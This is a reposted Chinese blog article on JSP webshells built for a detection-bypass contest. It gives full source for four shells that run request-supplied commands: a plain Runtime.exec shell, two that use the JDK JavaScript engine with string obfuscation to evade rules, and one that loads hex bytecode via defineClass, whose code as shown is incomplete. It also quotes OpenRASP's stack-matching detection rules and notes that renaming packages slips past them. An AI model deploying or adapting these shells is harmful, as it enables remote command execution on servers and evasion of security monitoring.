溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

java動態(tài)加載特性中實現jsp webshell繞過的示例分析

發(fā)布時間:2021-11-20 15:54:25 來源:億速云 閱讀:516 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關java動態(tài)加載特性中實現jsp webshell繞過的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

整體介紹

共四個jsp webshell 當時用來參加青藤webshell bypass 活動。主要思路是在靜態(tài)中尋找動態(tài)特性:jdk內置javascript引擎,class字節(jié)碼加載

0.jsp webshell裸奔

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<br>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>

最直接的寫法直接over。另外發(fā)現本機PC windows defender也有把0.jsp查殺了。

java動態(tài)加載特性中實現jsp webshell繞過的示例分析

1.jsp 借助JavaScript引擎開始第一次動態(tài)化

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" :
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)";
        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

jdk內置javascript引擎,其中從jdk1.6默認實現是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有對jdk不同版本做了適配。

2.jsp 基于動態(tài)化后的變形

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)"
                             .replace("{$0}" ,"Run")
                             .replace("{$1}",".get")
                             .replace("{$2}","time")
                             .replace("{$3}","ec"):
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)"
                .replace("{$0}","time.getRu")
                .replace("{$1}","xe");

        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

1.jsp中只是使用了js引擎,但是還沒充分發(fā)揮動態(tài)腳本混淆和變形的能力,2.jsp嘗試做簡單的替換變形。我們知道xss的防護對正則檢測的挑戰(zhàn)是很大的,個人的感受是xss經常伴隨著html和JavaScript的混合,并且JavaScript的變化多端容易混淆帶來的進一步的檢測難度,這里我們實現了類似的思路:java 與JavaScript的混合,JavaScript的動態(tài)多變能力依然可以發(fā)力,所以無論是正則還是靜態(tài)語法分析的檢測方式應該都會帶來一些障礙。

3.jsp 字節(jié)碼動態(tài)加載

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<%@ page import="java.lang.reflect.Method" %>
<HTML><BODY>
<%

    if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
        try {
            n = java.net.URLDecoder.decode(n, "UTF-8");
        } catch (Exception e) {
            e.printStackTrace();
        }

        String regexSeparator = ":";
        String[] octets = hex.split(regexSeparator);
        byte[] data = new byte[octets.length];

        for (int i = 0; i < octets.length; i++) {
            if (octets[i].length() > 2) {
                throw new NumberFormatException("Invalid octet length");
            }
            data[i] = Integer.valueOf(octets[i], 16).byteValue();
        }

        L l = new L();
        l.defineClass0("A", data);
        Class<?> classA = l.loadClass("A");
        Method m = classA.getDeclaredMethod("F", String.class);
        m.invoke(null, n);
    }
%>
</BODY></HTML>

3.jsp 是基于defineClass0 加載字節(jié)碼來bypass。當時的思路也是想歷次的入侵黑客喜歡用base64做些繞過,java可以動態(tài)加載字節(jié)碼,字節(jié)碼十六進制傳遞很難被正則waf抓住。后面在研究 ”冰蟹“ 的時候看到也用了defineclass方式。

內置JavaScript引擎帶來的脆弱

JEP提案,開發(fā)者 與安全三者的感想

jdk中是否要內置JavaScript引擎值得商榷,的確java開發(fā)者有比較強的 動態(tài)腳本 的需求,比如我自己做些規(guī)則引擎,配置系統的時候常用到這樣的特性。這樣的需求groovy是個很好的榜樣,由第三方jar包提供?,F實情況下內置的javascript引擎性可能不滿足應用需求,比如jdk從1.8將實現換成nashorn,到了jdk15提案中又有人提議替換掉nashorn。還有在自己研究百度openrasp的時候,可以看到最早期版本java對應的規(guī)則引擎是由jdk內置提供的,而到最后還是因為性能問題切換到V8引擎。

solr配置腳本RCE

另記一次solr CVE-2019-0193 遠程代碼執(zhí)行漏洞,記得當初這個0day爆出的時候乙方的poc文章對payload打了馬賽克,結合官方文檔已經猜到是javascript動態(tài)配置引起,立馬驗證確實如此。此處有“default”,脆弱性立馬顯現。

java動態(tài)加載特性中實現jsp webshell繞過的示例分析

一句話javascript引擎哪家強有由用戶自己決定吧

對比其他webshell工具

在寫完上面的幾個jsp的webshell的時候,和部門做滲透同事交流他提到過一個“冰蟹”。以前對webshell工具的理解上更多的關注自動化,方便,比如“中國菜刀”。但是“冰蟹”不同,他借用了協議交互會話的邏輯去增強bypass能力,開闊了思路值得借鑒。

RASP能做些什么?

以百度rasp為例,針對冰蟹,javascript動態(tài)腳本的webshell如何去匹配呢?

function validate_stack_java(stacks) {
    var known    = {
        'com.thoughtworks.xstream.XStream.unmarshal':                                   "Using xstream library",
        'java.beans.XMLDecoder.readObject':                                             "Using WebLogic XMLDecoder library",
        'org.apache.commons.collections4.functors.InvokerTransformer.transform':        "Using Transformer library (v4)",
        'org.apache.commons.collections.functors.InvokerTransformer.transform':         "Using Transformer library",
        'org.apache.commons.collections.functors.ChainedTransformer.transform':         "Using Transformer library",
        'org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest':                   "Using JNDI library (JSR 160)",
        'com.sun.jndi.rmi.registry.RegistryContext.lookup':                             "Using JNDI registry service",
        'org.apache.xbean.propertyeditor.JndiConverter':                                "Using JNDI binding class",
        'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig':                "Using JTA transaction manager",
        'com.sun.jndi.url.ldap.ldapURLContext.lookup':                                  "Using LDAP factory service",
        'com.alibaba.fastjson.JSON.parseObject':                                        "Using fastjson library",
        'org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute': "Using SpEL expressions",
        'freemarker.template.utility.Execute.exec':                                     "Using FreeMarker template",
        'org.jboss.el.util.ReflectionUtil.invokeMethod':                                "Using JBoss EL method",
        'org.codehaus.groovy.runtime.ProcessGroovyMethods.execute':                     "Using Groovy library",
        'bsh.Reflect.invokeMethod':                                                     "Using BeanShell library",
        'jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke':     "Using Nashorn engine",
        'org.apache.shiro.io.DefaultSerializer.deserialize':                            "Using Shiro framework (DefaultSerializer)"
    }
 
    var userCode = false, reachedInvoke = false, i = 0, message = undefined
 
    // v1.1.1 要求在堆棧里過濾 com.baidu.openrasp 相關的類,因為沒有實現正確而產生了多余的反射堆棧,這里需要兼容下防止誤報
    // v1.1.2 修復了這個問題,即堆棧頂部為命令執(zhí)行的方法
    if (stacks.length > 3
        && stacks[0].startsWith('sun.reflect.GeneratedMethodAccessor')
        && stacks[1] == 'sun.reflect.GeneratedMethodAccessorImpl.invoke'
        && stacks[2] == 'java.lang.reflect.Method.invoke')
    {
        i = 3
    }
 
    for (; i < stacks.length; i ++) {
        var method = stacks[i]
 
        // 檢查反射調用 -> 命令執(zhí)行之間,是否包含用戶代碼
        if (! reachedInvoke) {
            if (method == 'java.lang.reflect.Method.invoke') {
                reachedInvoke = true
            }
 
            // 用戶代碼,即非 JDK、com.baidu.openrasp 相關的函數
            if (! method.startsWith('java.')
                && !method.startsWith('sun.')
                && !method.startsWith('com.sun.')
                && !method.startsWith('com.baidu.openrasp.'))
            {
                userCode = true
            }
        }
 
        if (method.startsWith('ysoserial.Pwner')) {
            message = "Using YsoSerial tool"
            break
        }
 
        if (method.startsWith('net.rebeyond.behinder')) {
            message = "Using BeHinder defineClass webshell"
            break
        }
 
        if (method.startsWith('com.fasterxml.jackson.databind.')) {
            message = "Using Jackson deserialze method"
            break
        }
 
        // 對于如下類型的反射調用:
        // 1. 僅當命令直接來自反射調用才攔截
        // 2. 如果某個類是反射生成,這個類再主動執(zhí)行命令,則忽略
        if (! userCode) {
            if (method == 'ognl.OgnlRuntime.invokeMethod') {
                message = "Using OGNL library"
                break
            }  else if (method == 'java.lang.reflect.Method.invoke') {
                message = "Unknown vulnerability detected"
            }
        }
 
        if (known[method]) {
            message = known[method]
        }
    }
    return message
}

我們可以看到rasp會hook住java stacks信息,然后去和已知的黑名單庫去匹配,比如上面提到的 javascript引擎手法(關鍵字nashorn),冰蟹(關鍵字behinder)。不得不說rasp這種以調用棧作為上下文檢測的更加精準,但是軟件的生命周期是迭代的,對抗的手法也是升級的。

比如javascript引擎隨著jdk版本的迭代而變化,策略腳本中缺失了jdk 1.8 之前Rhino方式 。對于冰蟹關鍵字”behinder“匹配能夠防住工具小子,盡管冰蟹作者沒有公布源碼,但是擬向這類工具更改包名都不是難事,從而逃脫rasp的檢查。

看完上述內容,你們對java動態(tài)加載特性中實現jsp webshell繞過的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI